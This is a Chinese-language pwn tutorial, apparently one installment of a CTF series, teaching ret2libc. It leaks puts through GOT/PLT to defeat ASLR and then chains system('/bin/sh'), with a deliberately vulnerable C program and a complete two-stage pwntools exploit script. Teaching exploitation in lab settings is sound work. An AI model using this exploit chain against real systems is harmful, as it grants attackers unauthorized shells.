上篇介紹 ROP 時,我們知道了一件事:NX 不讓我們執行 Stack 上的 Shellcode,那就改用 Binary 裡原本就有的 Code。透過 pop rdi ; ret 之類的 Gadget,可以控制 Register,把 Function 一個個串起來。
但最後留了一個問題——如果 Binary 裡根本沒有 win(),也沒有任何能直接拿 Shell 的 Function,怎麼辦?
答案藏在 Linux Process 執行時幾乎一定會載入的東西:libc。
libc 裡面剛好就有 system(),甚至還存著 "/bin/sh" 這個字串。只要能拿到這兩個東西的 Address,就可以用 ROP 組出:
system("/bin/sh");
這就是 ret2libc——Return to libc。
概念其實差不多。ret2win 是 Overflow → 控制 RIP → 跳到 win();ret2libc 只是把目的地從 Main Binary 換成了 libc 裡的 system()。
我們完全沒有注入新的 Machine Code,純粹是把已經存在於 Memory 裡的東西拿來用——典型的 Code Reuse Attack。
Linux 裡很多常見的 C Function,像 printf()、puts()、read()、malloc()、system() 等等,並不是每個 Binary 自己實作一份,而是由 GNU C Library(glibc)提供。
用 ldd 就能看到 Binary 載入了哪些 Shared Library:
ldd ./chall
linux-vdso.so.1
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
/lib64/ld-linux-x86-64.so.2
其中 libc.so.6 就是今天的主角。
直接找 Symbol 確認一下:
nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
確實有 system()。再找字串:
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
也有 "/bin/sh"。
x86-64 Linux 的 Calling Convention 裡,第一個 Argument 透過 RDI 傳遞。所以只要把 RDI 指向 "/bin/sh",然後跳到 system(),就等價於 system("/bin/sh")。昨天學的 pop rdi ; ret 終於要派上用場了。
如果 libc Address 永遠固定,那 ret2libc 根本不需要多想,直接寫死就好。問題是 ASLR 會 Randomize libc 的 Base Address,每次執行都不一樣:
第一次:libc base = 0x7ffff7dc0000
第二次:libc base = 0x7f2319840000
所以不能直接在 Exploit 裡把 system = 0x7ffff7e12490 寫死。
不過有一件事不會變:Offset。
假設 libc 裡 puts 的 Offset 是 0x080e50,不管 Base 怎麼變,puts = libc_base + 0x080e50 這個關係永遠成立。所以只要能 Leak 出 libc 裡任意一個已知 Function 的 Runtime Address,就能把整個 libc 的位置算回來:
libc_base = leaked_address - known_offset
因為需要先 Leak 才能算 Address,ret2libc 通常不是一次 Payload 就打完,而是分兩個 Stage。
Stage 1:Leak libc
利用 ROP 執行 puts(puts@got),把 GOT 裡存的 puts Runtime Address 印出來,然後減掉已知的 Offset 算出 libc Base。
Stage 2:拿 Shell
有了 libc Base,就能算出 system 和 "/bin/sh" 的 Address,再送一次 Payload 執行 system("/bin/sh")。
先寫一個有 Stack Buffer Overflow 的程式:
#include <stdio.h>
#include <unistd.h>
__attribute__((naked))
void gadget()
{
__asm__("pop %rdi; ret");
}
void vuln()
{
char buf[32];
puts("Input:");
read(0, buf, 200);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
這裡額外塞了一個 pop rdi ; ret 的 Gadget,只是為了確保等等一定找得到。真正在 CTF 裡,通常會直接從 Binary 本身的 Instruction 中尋找。
編譯:
gcc chall.c -o chall \
-fno-stack-protector \
-no-pie
pwn checksec chall
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
No Canary 代表可以直接 Overflow 到 RIP;NX Enabled 代表不能直接在 Stack 上跑 Shellcode;No PIE 代表 Binary 裡的 Gadget、PLT、GOT Address 都是固定的。唯一不固定的就是 libc——所以我們才需要 Leak。
Day 22 講 RELRO 時提過 GOT / PLT,今天它們會真正成為 Exploit 的一部分。
Binary 在呼叫 puts("Input:") 時,自己其實不知道 puts() 最終會被載入到哪——它是透過 PLT 跳板去 GOT 查表,GOT 裡存的才是 puts 在 libc 裡真正的 Runtime Address。
換句話說:
puts@plt:幫我呼叫 putsputs@got:這裡存著 puts 真正的 Address如果我們能讓程式執行 puts(puts@got),就等於是用 puts 把自己的 Runtime Address 印出來——這就是一個 libc Address Leak。
from pwn import *
context.binary = elf = ELF("./chall")
p = process("./chall")
offset = 40
這裡 40 應該用 cyclic + cyclic_find 自己算,不要看到 char buf[32] 就直接猜。
找 Gadget:
rop = ROP(elf)
pop_rdi = rop.find_gadget([
"pop rdi",
"ret"
]).address
我們要做的是 puts(puts@got),按照 Calling Convention:RDI = puts@got,RIP 跳到 puts@plt。Leak 完之後還需要再來一次 Overflow,所以最後接回 main():
payload = flat(
b"A" * offset,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"]
)
這條 ROP Chain 做的事情是:先 pop rdi 把 puts@got 放進 RDI,接著呼叫 puts@plt 印出 Leak,最後跳回 main() 等待第二次 Payload——典型的 Two-Stage ROP。
p.sendlineafter(b"Input:\n", payload)
leak = p.recvline().rstrip(b"\n")
x86-64 的 Address 是 8 Bytes,但 User Space Address 前面通常只有 6 Bytes 有值,所以要補零到 8 Bytes:
puts_leak = u64(
leak.ljust(8, b"\x00")
)
log.info(
f"puts leak: {hex(puts_leak)}"
)
可能得到類似 0x7ffff7e40e50 的值。ASLR 的第一層防線到這裡已經被突破了。
載入本機 libc(實際路徑用 ldd ./chall 確認):
libc = ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
pwntools 可以直接拿到 puts 在 libc 裡的 Offset,所以:
libc.address = \
puts_leak - libc.symbols["puts"]
log.info(
f"libc base: {hex(libc.address)}"
)
舉例:
puts leak = 0x7ffff7e40e50
puts offset = 0x080e50
libc base = 0x7ffff7dc0000
到這裡,整個 libc 在 Memory 裡的位置就被我們算出來了。
有了 libc Base,剩下的事很直接。因為前面已經設了 libc.address,pwntools 取得的 Address 會自動是 Runtime Address:
system = libc.symbols["system"]
binsh = next(
libc.search(b"/bin/sh\x00")
)
log.info(
f"system: {hex(system)}"
)
log.info(
f"/bin/sh: {hex(binsh)}"
)
所有零件到齊。
按照 Calling Convention,RDI 放 "/bin/sh",RIP 跳到 system:
payload = flat(
b"A" * offset,
pop_rdi,
binsh,
system
)
p.sendlineafter(
b"Input:\n",
payload
)
p.interactive()
順利的話:
$ id
uid=1000(...)
$ whoami
user
第一個繞過 NX + ASLR 的 Exploit 完成。
實際寫的時候,有時候 Address 全部正確,system() 卻直接 Crash。
這通常是 Stack Alignment 的問題。x86-64 System V ABI 要求進入 Function 時 RSP 必須 16-byte aligned。正常的 call 指令會 Push Return Address 讓 RSP 自然對齊,但 ROP 是直接靠 ret 跳來跳去,很容易把 Alignment 搞壞。libc 裡某些地方用了 movaps 等需要對齊的 SIMD 指令,一旦 RSP 沒對齊就直接 Segfault。
解法很簡單——在 ROP Chain 前面多塞一個單獨的 ret Gadget,讓 RSP 多跳 8 Bytes 重新對齊:
ret = rop.find_gadget([
"ret"
]).address
payload = flat(
b"A" * offset,
ret,
pop_rdi,
binsh,
system
)
所以之後如果遇到「GDB 裡正常但直接跑會 Crash」或「Address 明明正確卻 Segfault」,第一個該想到的就是 Stack Alignment。
from pwn import *
context.binary = elf = ELF("./chall")
libc = ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
p = process("./chall")
offset = 40
# -------------------------
# Gadgets
# -------------------------
rop = ROP(elf)
pop_rdi = rop.find_gadget([
"pop rdi",
"ret"
]).address
ret = rop.find_gadget([
"ret"
]).address
# -------------------------
# Stage 1
# Leak puts
# -------------------------
payload = flat(
b"A" * offset,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"]
)
p.sendlineafter(
b"Input:\n",
payload
)
leak = p.recvline().rstrip(b"\n")
puts_leak = u64(
leak.ljust(8, b"\x00")
)
log.info(
f"puts leak: {hex(puts_leak)}"
)
# -------------------------
# Calculate libc Base
# -------------------------
libc.address = \
puts_leak - libc.symbols["puts"]
log.info(
f"libc base: {hex(libc.address)}"
)
# -------------------------
# Resolve system & /bin/sh
# -------------------------
system = libc.symbols["system"]
binsh = next(
libc.search(b"/bin/sh\x00")
)
log.info(
f"system: {hex(system)}"
)
log.info(
f"/bin/sh: {hex(binsh)}"
)
# -------------------------
# Stage 2
# system("/bin/sh")
# -------------------------
payload = flat(
b"A" * offset,
ret,
pop_rdi,
binsh,
system
)
p.sendlineafter(
b"Input:\n",
payload
)
p.interactive()
程式看起來比前幾天長不少,但核心就是兩條 ROP Chain:第一條 puts(puts@got) 做 Leak,第二條 system("/bin/sh") 拿 Shell。
這是 ret2libc 很常踩到的坑。
假設你 Local 用的是某個版本的 glibc,但 Server 用的是另一版——即使 puts 的 Leak 是對的,拿你自己的 libc 去算 system 和 "/bin/sh" 的 Offset 也會全部錯掉,因為不同版本的 libc 裡這些 Symbol 的位置不一樣。
所以 CTF 題目如果需要 ret2libc,通常會一起給你 libc.so.6 和 ld-linux-x86-64.so.2。Exploit 裡應該載入題目提供的 libc:
libc = ELF("./libc.so.6")
而不是直接用自己機器上的。有 Leak 不代表任何 libc 都能算,你還需要知道 Server 到底用哪一版。
表面上看起來只是呼叫了一個 system("/bin/sh"),但它其實是第一次把前面學的零散概念真正串在一起:Stack Buffer Overflow、Control RIP、ROP、Calling Convention、GOT / PLT、Information Leak、ASLR Bypass——全部在一個 Exploit 裡用上了。
更重要的是,它帶出了一個之後會不斷重複的思考方式:
ASLR 讓你不知道 Address?那就先 Leak,再算回來。
Leak → Calculate Base → Exploit 這個 Pattern,之後不管碰到 PIE、Heap Address 還是 Stack Canary,都會一再出現。
從這裡開始,Pwn 的思考模式會從「哪裡有 Overflow?」慢慢轉變成:我現在知道什麼?可以控制什麼?還缺什麼資訊?有沒有辦法 Leak 出來?
ret2libc 的核心流程:
pop rdi ; ret → puts@got → puts@plt → main,Leak 出 puts 的 Runtime Address,算出 libc Baseret → pop rdi ; ret → "/bin/sh" → system,拿 Shell到目前為止,我們都假設 Binary 裡很容易找到 pop rdi ; ret。如果 Gadget 不夠呢?如果需要一次控制 RDI、RSI、RDX 來呼叫更複雜的 Function 呢?
下一篇繼續深入 ROP,看看更多 Gadget 搜尋與 Chain 組合的方式。